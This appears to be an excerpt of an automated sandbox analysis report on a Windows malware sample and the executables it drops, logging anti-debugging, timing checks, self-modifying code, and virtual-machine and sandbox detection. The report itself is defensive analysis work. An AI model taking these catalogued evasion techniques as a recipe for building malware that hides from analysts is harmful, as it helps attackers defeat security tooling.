Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: B0F8C6 second address: B0F8CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: C78A44 second address: C78A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F0F34BEC159h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: C896DF second address: C89701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0F345319E6h 0x0000000a pop ebx 0x0000000b pop esi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0F345319F1h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BEF6B5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C7C8EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CAF6B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D3C8EF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Special instruction interceptor: First address: 4A3277 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Special instruction interceptor: First address: 2F608E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Special instruction interceptor: First address: 4B442E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Special instruction interceptor: First address: 53184C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Special instruction interceptor: First address: 8CFC3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Special instruction interceptor: First address: 8CFB5B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Special instruction interceptor: First address: B027A4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Special instruction interceptor: First address: 67DE86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Special instruction interceptor: First address: 67DDE9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Special instruction interceptor: First address: 831E84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Special instruction interceptor: First address: 67DD93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Special instruction interceptor: First address: 8D0B23 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Special instruction interceptor: First address: 5DDDE86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Special instruction interceptor: First address: 5DDDDE9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Special instruction interceptor: First address: 5F91E84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Special instruction interceptor: First address: 681E23 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Special instruction interceptor: First address: 5DDDD93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Special instruction interceptor: First address: 6030B23 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Special instruction interceptor: First address: 5DE1E23 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Memory allocated: 4930000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Memory allocated: 4B90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Memory allocated: 49B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Memory allocated: 4EA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Memory allocated: 4FC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Memory allocated: 6FC0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04CC07D4 rdtsc

0_2_04CC07D4

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Window / User API: threadDelayed 526

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

API coverage: 3.8 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep time: -108054s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7664	Thread sleep count: 325 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7664	Thread sleep time: -9750000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7680	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7680	Thread sleep time: -78039s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7700	Thread sleep count: 56 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7700	Thread sleep time: -112056s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7780	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7688	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7688	Thread sleep time: -108054s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7676	Thread sleep count: 52 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7676	Thread sleep time: -104052s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7664	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe TID: 7892	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe TID: 7908	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe TID: 7984	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe TID: 7904	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe TID: 7992	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe TID: 7896	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe TID: 7916	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe TID: 7900	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe TID: 7204	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe TID: 4564	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe TID: 5264	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006DDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	11_2_006DDBBE
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006E68EE FindFirstFileW,FindClose,	11_2_006E68EE
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006E698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	11_2_006E698F
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006DD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_006DD076
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006DD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_006DD3A9
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006E9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_006E9642
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006E979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_006E979D
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006E9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	11_2_006E9B2B
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006E5C97 FindFirstFileW,FindNextFileW,FindClose,	11_2_006E5C97

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006742DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_006742DE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Thread delayed: delay time: 922337203685477

Source: file.exe, 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000000.1643474943.0000000000BD3000.00000080.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000001.00000000.1677483084.0000000000C93000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000000.1687648454.0000000000C93000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000000.2308286880.0000000000C93000.00000080.00000001.01000000.00000007.sdmp, 37df924488.exe, 37df924488.exe, 00000009.00000002.2576273292.0000000000A5B000.00000040.00000001.01000000.0000000A.sdmp, ae5cfd188c.exe, ae5cfd188c.exe, 0000000A.00000002.2809286945.0000000000487000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 2ada66c192.exe, 0000002C.00000002.2919712087.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_^
Source: ae5cfd188c.exe, 00000007.00000003.2753332198.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWrs
Source: 2ada66c192.exe, 0000002C.00000002.2919712087.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%Sat
Source: 37df924488.exe, 0000001B.00000002.2764793088.000000000142B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarea
Source: 37df924488.exe, 00000009.00000002.2578174288.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[
Source: file.exe, 00000000.00000003.1679173652.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: firefox.exe, 0000001D.00000002.2786821309.000001AF5AC60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll:I
Source: firefox.exe, 0000001A.00000002.2790332131.000001B8C5500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
Source: 2ada66c192.exe, 0000002C.00000002.2919712087.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9-%SystemRoot%\system32\wshbth.dllHyper-V RAW
Source: 2ada66c192.exe, 0000001E.00000002.2918205303.0000000001768000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%
Source: skotes.exe, 00000006.00000002.2915523016.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2753332198.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, 37df924488.exe, 00000009.00000002.2578174288.0000000001484000.00000004.00000020.00020000.00000000.sdmp, 37df924488.exe, 00000009.00000002.2578174288.00000000014B2000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000002.2812159132.0000000000C4A000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000002.2811951266.0000000000BFB000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2787137785.0000000000C4A000.00000004.00000020.00020000.00000000.sdmp, 2ada66c192.exe, 0000000B.00000003.2692799251.0000000001092000.00000004.00000020.00020000.00000000.sdmp, 2ada66c192.exe, 0000000B.00000003.2690178414.000000000108D000.00000004.00000020.00020000.00000000.sdmp, 2ada66c192.exe, 0000000B.00000003.2693268456.00000000010B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 37df924488.exe, 0000001B.00000002.2764793088.000000000142B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 00000018.00000002.2795803239.000002BA555C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2788989951.000001B8C541D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: firefox.exe, 0000001D.00000002.2786821309.000001AF5AC60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllYQ
Source: 37df924488.exe, 00000009.00000002.2578174288.000000000143E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareeA
Source: file.exe, 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000000.1643474943.0000000000BD3000.00000080.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1747067454.0000000000C93000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000001.00000000.1677483084.0000000000C93000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000000.1687648454.0000000000C93000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000000.2308286880.0000000000C93000.00000080.00000001.01000000.00000007.sdmp, 37df924488.exe, 00000009.00000002.2576273292.0000000000A5B000.00000040.00000001.01000000.0000000A.sdmp, ae5cfd188c.exe, 0000000A.00000002.2809286945.0000000000487000.00000040.00000001.01000000.00000009.sdmp, 37df924488.exe, 0000001B.00000002.2761291474.0000000000A5B000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000006.00000002.2915523016.00000000006A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: firefox.exe, 0000001A.00000002.2782423918.000001B8C4F1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: firefox.exe, 0000001A.00000002.2790332131.000001B8C5500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 2ada66c192.exe, 0000001E.00000002.2918205303.0000000001768000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#
Source: firefox.exe, 0000001D.00000002.2786821309.000001AF5AC60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW$
Source: firefox.exe, 0000001D.00000002.2786821309.000001AF5AC60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll5U

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04CC07D4 rdtsc

0_2_04CC07D4

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006EEAA2 BlockInput,

11_2_006EEAA2

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006A2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

11_2_006A2622

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006742DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_006742DE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A1652B mov eax, dword ptr fs:[00000030h]	0_2_00A1652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A1A302 mov eax, dword ptr fs:[00000030h]	0_2_00A1A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00ADA302 mov eax, dword ptr fs:[00000030h]	1_2_00ADA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AD652B mov eax, dword ptr fs:[00000030h]	1_2_00AD652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00ADA302 mov eax, dword ptr fs:[00000030h]	2_2_00ADA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AD652B mov eax, dword ptr fs:[00000030h]	2_2_00AD652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ADA302 mov eax, dword ptr fs:[00000030h]	6_2_00ADA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AD652B mov eax, dword ptr fs:[00000030h]	6_2_00AD652B
